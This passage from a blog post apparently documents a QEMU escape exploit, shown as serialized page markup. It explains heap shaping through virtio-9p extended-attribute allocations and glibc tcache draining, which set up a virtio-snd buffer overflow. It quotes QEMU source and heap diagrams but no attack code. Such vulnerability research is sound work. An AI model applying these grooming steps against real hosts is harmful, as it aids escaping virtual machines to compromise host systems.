blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":24,"tag":26585,"props":134663,"children":134665},{"id":134664},"virtio-9p",[134666],{"type":29,"value":134664},{"type":24,"tag":25,"props":134668,"children":134669},{},[134670,134675],{"type":24,"tag":135,"props":134671,"children":134673},{"className":134672},[],[134674],{"type":29,"value":134664},{"type":29,"value":134676}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":24,"tag":25,"props":134678,"children":134679},{},[134680,134682,134688,134690,134696,134697,134703,134705,134710],{"type":29,"value":134681},"Through a ",{"type":24,"tag":135,"props":134683,"children":134685},{"className":134684},[],[134686],{"type":29,"value":134687},"P9_TXATTRCREATE",{"type":29,"value":134689}," request, we can allocate host-side buffers for both the ",{"type":24,"tag":135,"props":134691,"children":134693},{"className":134692},[],[134694],{"type":29,"value":134695},".name",{"type":29,"value":518},{"type":24,"tag":135,"props":134698,"children":134700},{"className":134699},[],[134701],{"type":29,"value":134702},".value",{"type":29,"value":134704}," fields, with the size of ",{"type":24,"tag":135,"props":134706,"children":134708},{"className":134707},[],[134709],{"type":29,"value":134702},{"type":29,"value":134711}," being directly controlled by the guest.",{"type":24,"tag":261,"props":134713,"children":134715},{"code":134714,"language":578,"meta":7,"className":576,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n int flags, rflags = 0;\n int32_t fid;\n uint64_t size;\n ssize_t err = 0;\n V9fsString name;\n size_t offset = 7;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n V9fsPDU *pdu = opaque;\n\n v9fs_string_init(&name);\n err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n if (err \u003C 0) {\n goto out_nofid;\n }\n\n [...]\n\n if (size > P9_XATTR_SIZE_MAX) {\n err = -E2BIG;\n goto out_nofid;\n }\n\n [...]\n\n v9fs_string_init(&xattr_fidp->fs.xattr.name);\n v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[134716],{"type":24,"tag":135,"props":134717,"children":134718},{"__ignoreMap":7},[134719,134761,134768,134792,134805,134816,134841,134849,134874,134891,134907,134933,134940,134961,135027,135051,135064,135071,135078,135085,135092,135112,135133,135144,135151,135158,135165,135172,135221,135277,135322],{"type":24,"tag":271,"props":134720,"children":134721},{"class":273,"line":274},[134722,134726,134730,134735,134740,134744,134748,134752,134757],{"type":24,"tag":271,"props":134723,"children":134724},{"style":278},[134725],{"type":29,"value":590},{"type":24,"tag":271,"props":134727,"children":134728},{"style":278},[134729],{"type":29,"value":595},{"type":24,"tag":271,"props":134731,"children":134732},{"style":288},[134733],{"type":29,"value":134734}," coroutine_fn ",{"type":24,"tag":271,"props":134736,"children":134737},{"style":598},[134738],{"type":29,"value":134739},"v9fs_xattrcreate",{"type":24,"tag":271,"props":134741,"children":134742},{"style":288},[134743],{"type":29,"value":606},{"type":24,"tag":271,"props":134745,"children":134746},{"style":278},[134747],{"type":29,"value":1205},{"type":24,"tag":271,"props":134749,"children":134750},{"style":624},[134751],{"type":29,"value":3895},{"type":24,"tag":271,"props":134753,"children":134754},{"style":630},[134755],{"type":29,"value":134756},"opaque",{"type":24,"tag":271,"props":134758,"children":134759},{"style":288},[134760],{"type":29,"value":694},{"type":24,"tag":271,"props":134762,"children":134763},{"class":273,"line":284},[134764],{"type":24,"tag":271,"props":134765,"children":134766},{"style":288},[134767],{"type":29,"value":702},{"type":24,"tag":271,"props":134769,"children":134770},{"class":273,"line":294},[134771,134775,134780,134784,134788],{"type":24,"tag":271,"props":134772,"children":134773},{"style":278},[134774],{"type":29,"value":6300},{"type":24,"tag":271,"props":134776,"children":134777},{"style":288},[134778],{"type":29,"value":134779}," flags, rflags ",{"type":24,"tag":271,"props":134781,"children":134782},{"style":624},[134783],{"type":29,"value":762},{"type":24,"tag":271,"props":134785,"children":134786},{"style":477},[134787],{"type":29,"value":767},{"type":24,"tag":271,"props":134789,"children":134790},{"style":288},[134791],{"type":29,"value":1069},{"type":24,"tag":271,"props":134793,"children":134794},{"class":273,"line":303},[134795,134800],{"type":24,"tag":271,"props":134796,"children":134797},{"style":278},[134798],{"type":29,"value":134799}," int32_t",{"type":24,"tag":271,"props":134801,"children":134802},{"style":288},[134803],{"type":29,"value":134804}," fid;\n",{"type":24,"tag":271,"props":134806,"children":134807},{"class":273,"line":312},[134808,134812],{"type":24,"tag":271,"props":134809,"children":134810},{"style":278},[134811],{"type":29,"value":5257},{"type":24,"tag":271,"props":134813,"children":134814},{"style":288},[134815],{"type":29,"value":131392},{"type":24,"tag":271,"props":134817,"children":134818},{"class":273,"line":321},[134819,134824,134829,134833,134837],{"type":24,"tag":271,"props":134820,"children":134821},{"style":278},[134822],{"type":29,"value":134823}," ssize_t",{"type":24,"tag":271,"props":134825,"children":134826},{"style":288},[134827],{"type":29,"value":134828}," err ",{"type":24,"tag":271,"props":134830,"children":134831},{"style":624},[134832],{"type":29,"value":762},{"type":24,"tag":271,"props":134834,"children":134835},{"style":477},[134836],{"type":29,"value":767},{"type":24,"tag":271,"props":134838,"children":134839},{"style":288},[134840],{"type":29,"value":1069},{"type":24,"tag":271,"props":134842,"children":134843},{"class":273,"line":330},[134844],{"type":24,"tag":271,"props":134845,"children":134846},{"style":288},[134847],{"type":29,"value":134848}," V9fsString name;\n",{"type":24,"tag":271,"props":134850,"children":134851},{"class":273,"line":339},[134852,134856,134861,134865,134870],{"type":24,"tag":271,"props":134853,"children":134854},{"style":278},[134855],{"type":29,"value":24260},{"type":24,"tag":271,"props":134857,"children":134858},{"style":288},[134859],{"type":29,"value":134860}," offset ",{"type":24,"tag":271,"props":134862,"children":134863},{"style":624},[134864],{"type":29,"value":762},{"type":24,"tag":271,"props":134866,"children":134867},{"style":477},[134868],{"type":29,"value":134869}," 7",{"type":24,"tag":271,"props":134871,"children":134872},{"style":288},[134873],{"type":29,"value":1069},{"type":24,"tag":271,"props":134875,"children":134876},{"class":273,"line":347},[134877,134882,134886],{"type":24,"tag":271,"props":134878,"children":134879},{"style":288},[134880],{"type":29,"value":134881}," V9fsFidState ",{"type":24,"tag":271,"props":134883,"children":134884},{"style":624},[134885],{"type":29,"value":627},{"type":24,"tag":271,"props":134887,"children":134888},{"style":288},[134889],{"type":29,"value":134890},"file_fidp;\n",{"type":24,"tag":271,"props":134892,"children":134893},{"class":273,"line":356},[134894,134898,134902],{"type":24,"tag":271,"props":134895,"children":134896},{"style":288},[134897],{"type":29,"value":134881},{"type":24,"tag":271,"props":134899,"children":134900},{"style":624},[134901],{"type":29,"value":627},{"type":24,"tag":271,"props":134903,"children":134904},{"style":288},[134905],{"type":29,"value":134906},"xattr_fidp;\n",{"type":24,"tag":271,"props":134908,"children":134909},{"class":273,"line":365},[134910,134915,134919,134924,134928],{"type":24,"tag":271,"props":134911,"children":134912},{"style":288},[134913],{"type":29,"value":134914}," V9fsPDU ",{"type":24,"tag":271,"props":134916,"children":134917},{"style":624},[134918],{"type":29,"value":627},{"type":24,"tag":271,"props":134920,"children":134921},{"style":288},[134922],{"type":29,"value":134923},"pdu ",{"type":24,"tag":271,"props":134925,"children":134926},{"style":624},[134927],{"type":29,"value":762},{"type":24,"tag":271,"props":134929,"children":134930},{"style":288},[134931],{"type":29,"value":134932}," opaque;\n",{"type":24,"tag":271,"props":134934,"children":134935},{"class":273,"line":374},[134936],{"type":24,"tag":271,"props":134937,"children":134938},{"emptyLinePlaceholder":16},[134939],{"type":29,"value":327},{"type":24,"tag":271,"props":134941,"children":134942},{"class":273,"line":384},[134943,134948,134952,134956],{"type":24,"tag":271,"props":134944,"children":134945},{"style":598},[134946],{"type":29,"value":134947}," v9fs_string_init",{"type":24,"tag":271,"props":134949,"children":134950},{"style":288},[134951],{"type":29,"value":606},{"type":24,"tag":271,"props":134953,"children":134954},{"style":624},[134955],{"type":29,"value":1137},{"type":24,"tag":271,"props":134957,"children":134958},{"style":288},[134959],{"type":29,"value":134960},"name);\n",{"type":24,"tag":271,"props":134962,"children":134963},{"class":273,"line":393},[134964,134969,134973,134978,134983,134988,134992,134996,135001,135005,135010,135014,135018,135022],{"type":24,"tag":271,"props":134965,"children":134966},{"style":288},[134967],{"type":29,"value":134968}," err ",{"type":24,"tag":271,"props":134970,"children":134971},{"style":624},[134972],{"type":29,"value":762},{"type":24,"tag":271,"props":134974,"children":134975},{"style":598},[134976],{"type":29,"value":134977}," pdu_unmarshal",{"type":24,"tag":271,"props":134979,"children":134980},{"style":288},[134981],{"type":29,"value":134982},"(pdu, offset, ",{"type":24,"tag":271,"props":134984,"children":134985},{"style":378},[134986],{"type":29,"value":134987},"\"dsqd\"",{"type":24,"tag":271,"props":134989,"children":134990},{"style":288},[134991],{"type":29,"value":158},{"type":24,"tag":271,"props":134993,"children":134994},{"style":624},[134995],{"type":29,"value":1137},{"type":24,"tag":271,"props":134997,"children":134998},{"style":288},[134999],{"type":29,"value":135000},"fid, ",{"type":24,"tag":271,"props":135002,"children":135003},{"style":624},[135004],{"type":29,"value":1137},{"type":24,"tag":271,"props":135006,"children":135007},{"style":288},[135008],{"type":29,"value":135009},"name, ",{"type":24,"tag":271,"props":135011,"children":135012},{"style":624},[135013],{"type":29,"value":1137},{"type":24,"tag":271,"props":135015,"children":135016},{"style":288},[135017],{"type":29,"value":133760},{"type":24,"tag":271,"props":135019,"children":135020},{"style":624},[135021],{"type":29,"value":1137},{"type":24,"tag":271,"props":135023,"children":135024},{"style":288},[135025],{"type":29,"value":135026},"flags);\n",{"type":24,"tag":271,"props":135028,"children":135029},{"class":273,"line":402},[135030,135034,135039,135043,135047],{"type":24,"tag":271,"props":135031,"children":135032},{"style":749},[135033],{"type":29,"value":5025},{"type":24,"tag":271,"props":135035,"children":135036},{"style":288},[135037],{"type":29,"value":135038}," (err ",{"type":24,"tag":271,"props":135040,"children":135041},{"style":624},[135042],{"type":29,"value":801},{"type":24,"tag":271,"props":135044,"children":135045},{"style":477},[135046],{"type":29,"value":767},{"type":24,"tag":271,"props":135048,"children":135049},{"style":288},[135050],{"type":29,"value":919},{"type":24,"tag":271,"props":135052,"children":135053},{"class":273,"line":411},[135054,135059],{"type":24,"tag":271,"props":135055,"children":135056},{"style":749},[135057],{"type":29,"value":135058}," goto",{"type":24,"tag":271,"props":135060,"children":135061},{"style":288},[135062],{"type":29,"value":135063}," out_nofid;\n",{"type":24,"tag":271,"props":135065,"children":135066},{"class":273,"line":420},[135067],{"type":24,"tag":271,"props":135068,"children":135069},{"style":288},[135070],{"type":29,"value":4385},{"type":24,"tag":271,"props":135072,"children":135073},{"class":273,"line":429},[135074],{"type":24,"tag":271,"props":135075,"children":135076},{"emptyLinePlaceholder":16},[135077],{"type":29,"value":327},{"type":24,"tag":271,"props":135079,"children":135080},{"class":273,"line":438},[135081],{"type":24,"tag":271,"props":135082,"children":135083},{"style":288},[135084],{"type":29,"value":111591},{"type":24,"tag":271,"props":135086,"children":135087},{"class":273,"line":447},[135088],{"type":24,"tag":271,"props":135089,"children":135090},{"emptyLinePlaceholder":16},[135091],{"type":29,"value":327},{"type":24,"tag":271,"props":135093,"children":135094},{"class":273,"line":455},[135095,135099,135103,135107],{"type":24,"tag":271,"props":135096,"children":135097},{"style":749},[135098],{"type":29,"value":5025},{"type":24,"tag":271,"props":135100,"children":135101},{"style":288},[135102],{"type":29,"value":133861},{"type":24,"tag":271,"props":135104,"children":135105},{"style":624},[135106],{"type":29,"value":18165},{"type":24,"tag":271,"props":135108,"children":135109},{"style":288},[135110],{"type":29,"value":135111}," P9_XATTR_SIZE_MAX) {\n",{"type":24,"tag":271,"props":135113,"children":135114},{"class":273,"line":464},[135115,135120,135124,135128],{"type":24,"tag":271,"props":135116,"children":135117},{"style":288},[135118],{"type":29,"value":135119}," err ",{"type":24,"tag":271,"props":135121,"children":135122},{"style":624},[135123],{"type":29,"value":762},{"type":24,"tag":271,"props":135125,"children":135126},{"style":624},[135127],{"type":29,"value":819},{"type":24,"tag":271,"props":135129,"children":135130},{"style":288},[135131],{"type":29,"value":135132},"E2BIG;\n",{"type":24,"tag":271,"props":135134,"children":135135},{"class":273,"line":473},[135136,135140],{"type":24,"tag":271,"props":135137,"children":135138},{"style":749},[135139],{"type":29,"value":135058},{"type":24,"tag":271,"props":135141,"children":135142},{"style":288},[135143],{"type":29,"value":135063},{"type":24,"tag":271,"props":135145,"children":135146},{"class":273,"line":483},[135147],{"type":24,"tag":271,"props":135148,"children":135149},{"style":288},[135150],{"type":29,"value":4385},{"type":24,"tag":271,"props":135152,"children":135153},{"class":273,"line":491},[135154],{"type":24,"tag":271,"props":135155,"children":135156},{"emptyLinePlaceholder":16},[135157],{"type":29,"value":327},{"type":24,"tag":271,"props":135159,"children":135160},{"class":273,"line":499},[135161],{"type":24,"tag":271,"props":135162,"children":135163},{"style":288},[135164],{"type":29,"value":111591},{"type":24,"tag":271,"props":135166,"children":135167},{"class":273,"line":3188},[135168],{"type":24,"tag":271,"props":135169,"children":135170},{"emptyLinePlaceholder":16},[135171],{"type":29,"value":327},{"type":24,"tag":271,"props":135173,"children":135174},{"class":273,"line":3247},[135175,135179,135183,135187,135192,135196,135200,135204,135209,135213,135217],{"type":24,"tag":271,"props":135176,"children":135177},{"style":598},[135178],{"type":29,"value":134947},{"type":24,"tag":271,"props":135180,"children":135181},{"style":288},[135182],{"type":29,"value":606},{"type":24,"tag":271,"props":135184,"children":135185},{"style":624},[135186],{"type":29,"value":1137},{"type":24,"tag":271,"props":135188,"children":135189},{"style":630},[135190],{"type":29,"value":135191},"xattr_fidp",{"type":24,"tag":271,"props":135193,"children":135194},{"style":288},[135195],{"type":29,"value":786},{"type":24,"tag":271,"props":135197,"children":135198},{"style":630},[135199],{"type":29,"value":44650},{"type":24,"tag":271,"props":135201,"children":135202},{"style":288},[135203],{"type":29,"value":41},{"type":24,"tag":271,"props":135205,"children":135206},{"style":630},[135207],{"type":29,"value":135208},"xattr",{"type":24,"tag":271,"props":135210,"children":135211},{"style":288},[135212],{"type":29,"value":41},{"type":24,"tag":271,"props":135214,"children":135215},{"style":630},[135216],{"type":29,"value":56163},{"type":24,"tag":271,"props":135218,"children":135219},{"style":288},[135220],{"type":29,"value":1155},{"type":24,"tag":271,"props":135222,"children":135223},{"class":273,"line":3255},[135224,135229,135233,135237,135241,135245,135249,135253,135257,135261,135265,135269,135273],{"type":24,"tag":271,"props":135225,"children":135226},{"style":598},[135227],{"type":29,"value":135228}," v9fs_string_copy",{"type":24,"tag":271,"props":135230,"children":135231},{"style":288},[135232],{"type":29,"value":606},{"type":24,"tag":271,"props":135234,"children":135235},{"style":624},[135236],{"type":29,"value":1137},{"type":24,"tag":271,"props":135238,"children":135239},{"style":630},[135240],{"type":29,"value":135191},{"type":24,"tag":271,"props":135242,"children":135243},{"style":288},[135244],{"type":29,"value":786},{"type":24,"tag":271,"props":135246,"children":135247},{"style":630},[135248],{"type":29,"value":44650},{"type":24,"tag":271,"props":135250,"children":135251},{"style":288},[135252],{"type":29,"value":41},{"type":24,"tag":271,"props":135254,"children":135255},{"style":630},[135256],{"type":29,"value":135208},{"type":24,"tag":271,"props":135258,"children":135259},{"style":288},[135260],{"type":29,"value":41},{"type":24,"tag":271,"props":135262,"children":135263},{"style":630},[135264],{"type":29,"value":56163},{"type":24,"tag":271,"props":135266,"children":135267},{"style":288},[135268],{"type":29,"value":158},{"type":24,"tag":271,"props":135270,"children":135271},{"style":624},[135272],{"type":29,"value":1137},{"type":24,"tag":271,"props":135274,"children":135275},{"style":288},[135276],{"type":29,"value":134960},{"type":24,"tag":271,"props":135278,"children":135279},{"class":273,"line":3263},[135280,135285,135289,135293,135297,135301,135305,135309,135313,135317],{"type":24,"tag":271,"props":135281,"children":135282},{"style":630},[135283],{"type":29,"value":135284}," xattr_fidp",{"type":24,"tag":271,"props":135286,"children":135287},{"style":288},[135288],{"type":29,"value":786},{"type":24,"tag":271,"props":135290,"children":135291},{"style":630},[135292],{"type":29,"value":44650},{"type":24,"tag":271,"props":135294,"children":135295},{"style":288},[135296],{"type":29,"value":41},{"type":24,"tag":271,"props":135298,"children":135299},{"style":630},[135300],{"type":29,"value":135208},{"type":24,"tag":271,"props":135302,"children":135303},{"style":288},[135304],{"type":29,"value":41},{"type":24,"tag":271,"props":135306,"children":135307},{"style":630},[135308],{"type":29,"value":46820},{"type":24,"tag":271,"props":135310,"children":135311},{"style":624},[135312],{"type":29,"value":1712},{"type":24,"tag":271,"props":135314,"children":135315},{"style":598},[135316],{"type":29,"value":130963},{"type":24,"tag":271,"props":135318,"children":135319},{"style":288},[135320],{"type":29,"value":135321},"(size);\n",{"type":24,"tag":271,"props":135323,"children":135324},{"class":273,"line":3293},[135325],{"type":24,"tag":271,"props":135326,"children":135327},{"style":288},[135328],{"type":29,"value":1171},{"type":24,"tag":25,"props":135330,"children":135331},{},[135332,135334,135339,135341,135346,135347,135352,135354,135359],{"type":29,"value":135333},"Because the ",{"type":24,"tag":135,"props":135335,"children":135337},{"className":135336},[],[135338],{"type":29,"value":134695},{"type":29,"value":135340}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":24,"tag":135,"props":135342,"children":135344},{"className":135343},[],[135345],{"type":29,"value":134695},{"type":29,"value":518},{"type":24,"tag":135,"props":135348,"children":135350},{"className":135349},[],[135351],{"type":29,"value":134702},{"type":29,"value":135353},", not just the ",{"type":24,"tag":135,"props":135355,"children":135357},{"className":135356},[],[135358],{"type":29,"value":134702},{"type":29,"value":135360}," we actually care about. But we will get around this later in the blog post.",{"type":24,"tag":25,"props":135362,"children":135363},{},[135364,135365,135370],{"type":29,"value":1422},{"type":24,"tag":135,"props":135366,"children":135368},{"className":135367},[],[135369],{"type":29,"value":134702},{"type":29,"value":135371}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":24,"tag":25,"props":135373,"children":135374},{},[135375,135377,135382,135384,135390,135392,135398,135400,135406],{"type":29,"value":135376},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":135,"props":135378,"children":135380},{"className":135379},[],[135381],{"type":29,"value":134702},{"type":29,"value":135383}," buffer through a ",{"type":24,"tag":135,"props":135385,"children":135387},{"className":135386},[],[135388],{"type":29,"value":135389},"P9_TWRITE",{"type":29,"value":135391}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":135,"props":135393,"children":135395},{"className":135394},[],[135396],{"type":29,"value":135397},"P9_TREAD",{"type":29,"value":135399},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":135,"props":135401,"children":135403},{"className":135402},[],[135404],{"type":29,"value":135405},"P9_TCLUNK",{"type":29,"value":135407}," request on that same FID.",{"type":24,"tag":25,"props":135409,"children":135410},{},[135411,135413,135419],{"type":29,"value":135412},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":135,"props":135414,"children":135416},{"className":135415},[],[135417],{"type":29,"value":135418},"65536",{"type":29,"value":135420}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":85,"props":135422,"children":135424},{"id":135423},"setting-the-heap-layout",[135425],{"type":29,"value":135426},"Setting the Heap Layout",{"type":24,"tag":25,"props":135428,"children":135429},{},[135430,135432,135437],{"type":29,"value":135431},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":135,"props":135433,"children":135435},{"className":135434},[],[135436],{"type":29,"value":134702},{"type":29,"value":135438}," allocations, like this:",{"type":24,"tag":261,"props":135440,"children":135442},{"code":135441}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[135443],{"type":24,"tag":135,"props":135444,"children":135445},{"__ignoreMap":7},[135446],{"type":29,"value":135441},{"type":24,"tag":25,"props":135448,"children":135449},{},[135450,135452,135457,135459,135464,135466,135471],{"type":29,"value":135451},"This lets us later create holes by freeing every other ",{"type":24,"tag":135,"props":135453,"children":135455},{"className":135454},[],[135456],{"type":29,"value":134702},{"type":29,"value":135458}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":135,"props":135460,"children":135462},{"className":135461},[],[135463],{"type":29,"value":131050},{"type":29,"value":135465}," field of the next live ",{"type":24,"tag":135,"props":135467,"children":135469},{"className":135468},[],[135470],{"type":29,"value":134702},{"type":29,"value":135472}," chunk.",{"type":24,"tag":25,"props":135474,"children":135475},{},[135476],{"type":29,"value":135477},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":25,"props":135479,"children":135480},{},[135481,135483,135488,135490,135495,135497,135502,135504,135509],{"type":29,"value":135482},"As mentioned earlier, ",{"type":24,"tag":135,"props":135484,"children":135486},{"className":135485},[],[135487],{"type":29,"value":134739},{"type":29,"value":135489}," always allocates two chunks: one for ",{"type":24,"tag":135,"props":135491,"children":135493},{"className":135492},[],[135494],{"type":29,"value":134695},{"type":29,"value":135496}," and one for ",{"type":24,"tag":135,"props":135498,"children":135500},{"className":135499},[],[135501],{"type":29,"value":134702},{"type":29,"value":135503},". We want to avoid having ",{"type":24,"tag":135,"props":135505,"children":135507},{"className":135506},[],[135508],{"type":29,"value":134695},{"type":29,"value":135510}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":3834,"props":135512,"children":135513},{},[135514,135526],{"type":24,"tag":101,"props":135515,"children":135516},{},[135517,135519,135524],{"type":29,"value":135518},"Make ",{"type":24,"tag":135,"props":135520,"children":135522},{"className":135521},[],[135523],{"type":29,"value":134695},{"type":29,"value":135525}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":101,"props":135527,"children":135528},{},[135529,135531,135536,135538,135543,135545,135550],{"type":29,"value":135530},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":135,"props":135532,"children":135534},{"className":135533},[],[135535],{"type":29,"value":134695},{"type":29,"value":135537},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":24,"tag":135,"props":135539,"children":135541},{"className":135540},[],[135542],{"type":29,"value":134695},{"type":29,"value":135544}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":135,"props":135546,"children":135548},{"className":135547},[],[135549],{"type":29,"value":134702},{"type":29,"value":135551}," chunks.",{"type":24,"tag":26585,"props":135553,"children":135555},{"id":135554},"separating-name-allocations",[135556],{"type":29,"value":135557},"Separating .name allocations",{"type":24,"tag":25,"props":135559,"children":135560},{},[135561,135563,135568,135570,135575],{"type":29,"value":135562},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":135,"props":135564,"children":135566},{"className":135565},[],[135567],{"type":29,"value":134739},{"type":29,"value":135569}," for N ",{"type":24,"tag":135,"props":135571,"children":135573},{"className":135572},[],[135574],{"type":29,"value":134695},{"type":29,"value":135576},"-sized allocations and then freeing them.",{"type":24,"tag":25,"props":135578,"children":135579},{},[135580,135582,135587,135588,135593,135594,135599,135601,135606,135608,135613],{"type":29,"value":135581},"At this point, we already know that ",{"type":24,"tag":135,"props":135583,"children":135585},{"className":135584},[],[135586],{"type":29,"value":134739},{"type":29,"value":135489},{"type":24,"tag":135,"props":135589,"children":135591},{"className":135590},[],[135592],{"type":29,"value":134695},{"type":29,"value":135496},{"type":24,"tag":135,"props":135595,"children":135597},{"className":135596},[],[135598],{"type":29,"value":134702},{"type":29,"value":135600},". If we simply call it with ",{"type":24,"tag":135,"props":135602,"children":135604},{"className":135603},[],[135605],{"type":29,"value":134702},{"type":29,"value":135607}," sized the same as ",{"type":24,"tag":135,"props":135609,"children":135611},{"className":135610},[],[135612],{"type":29,"value":134695},{"type":29,"value":135614},", we get a layout like this:",{"type":24,"tag":261,"props":135616,"children":135618},{"code":135617}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[135619],{"type":24,"tag":135,"props":135620,"children":135621},{"__ignoreMap":7},[135622],{"type":29,"value":135617},{"type":24,"tag":25,"props":135624,"children":135625},{},[135626,135628,135633,135635,135641,135643,135649,135651,135656,135658,135663,135665,135670],{"type":29,"value":135627},"With that heap state, issuing a ",{"type":24,"tag":135,"props":135629,"children":135631},{"className":135630},[],[135632],{"type":29,"value":135405},{"type":29,"value":135634}," request would first free ",{"type":24,"tag":135,"props":135636,"children":135638},{"className":135637},[],[135639],{"type":29,"value":135640},".name A",{"type":29,"value":135642}," and then ",{"type":24,"tag":135,"props":135644,"children":135646},{"className":135645},[],[135647],{"type":29,"value":135648},".value A",{"type":29,"value":135650},". When ",{"type":24,"tag":135,"props":135652,"children":135654},{"className":135653},[],[135655],{"type":29,"value":135648},{"type":29,"value":135657}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":135,"props":135659,"children":135661},{"className":135660},[],[135662],{"type":29,"value":135640},{"type":29,"value":135664}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":135,"props":135666,"children":135668},{"className":135667},[],[135669],{"type":29,"value":134695},{"type":29,"value":135671},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":25,"props":135673,"children":135674},{},[135675],{"type":29,"value":135676},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":25,"props":135678,"children":135679},{},[135680,135682,135687,135689,135694,135696,135701,135703,135709,135711,135716,135718,135724],{"type":29,"value":135681},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":135,"props":135683,"children":135685},{"className":135684},[],[135686],{"type":29,"value":134695},{"type":29,"value":135688}," allocation remains fixed at size ",{"type":24,"tag":135,"props":135690,"children":135692},{"className":135691},[],[135693],{"type":29,"value":111857},{"type":29,"value":135695},". We first allocate 16 xattrs whose ",{"type":24,"tag":135,"props":135697,"children":135699},{"className":135698},[],[135700],{"type":29,"value":134702},{"type":29,"value":135702}," size is ",{"type":24,"tag":135,"props":135704,"children":135706},{"className":135705},[],[135707],{"type":29,"value":135708},"0x30",{"type":29,"value":135710},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":135,"props":135712,"children":135714},{"className":135713},[],[135715],{"type":29,"value":134702},{"type":29,"value":135717}," size ",{"type":24,"tag":135,"props":135719,"children":135721},{"className":135720},[],[135722],{"type":29,"value":135723},"0x40",{"type":29,"value":135725},", and continue in the same way for each tcache size class.",{"type":24,"tag":25,"props":135727,"children":135728},{},[135729],{"type":29,"value":135730},"This yields the following layout:",{"type":24,"tag":261,"props":135732,"children":135734},{"code":135733}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[135735],{"type":24,"tag":135,"props":135736,"children":135737},{"__ignoreMap":7},[135738],{"type":29,"value":135733},{"type":24,"tag":25,"props":135740,"children":135741},{},[135742,135744,135749,135751,135756,135758,135763,135765,135770,135772,135777,135779,135784,135785,135790,135792,135797,135799,135804,135806,135811,135813,135818,135820,135825],{"type":29,"value":135743},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":135,"props":135745,"children":135747},{"className":135746},[],[135748],{"type":29,"value":134695},{"type":29,"value":135750}," chunks end up in the ",{"type":24,"tag":135,"props":135752,"children":135754},{"className":135753},[],[135755],{"type":29,"value":111857},{"type":29,"value":135757}," tcache bin, along with the interleaved ",{"type":24,"tag":135,"props":135759,"children":135761},{"className":135760},[],[135762],{"type":29,"value":134702},{"type":29,"value":135764}," chunks of size ",{"type":24,"tag":135,"props":135766,"children":135768},{"className":135767},[],[135769],{"type":29,"value":135708},{"type":29,"value":135771},". The next 16 ",{"type":24,"tag":135,"props":135773,"children":135775},{"className":135774},[],[135776],{"type":29,"value":134695},{"type":29,"value":135778}," chunks are interleaved with ",{"type":24,"tag":135,"props":135780,"children":135782},{"className":135781},[],[135783],{"type":29,"value":134702},{"type":29,"value":135764},{"type":24,"tag":135,"props":135786,"children":135788},{"className":135787},[],[135789],{"type":29,"value":135723},{"type":29,"value":135791},"; when freed, those ",{"type":24,"tag":135,"props":135793,"children":135795},{"className":135794},[],[135796],{"type":29,"value":134702},{"type":29,"value":135798}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":135,"props":135800,"children":135802},{"className":135801},[],[135803],{"type":29,"value":134695},{"type":29,"value":135805}," chunks. Repeating this across all tcache sizes leaves us with a large region of free 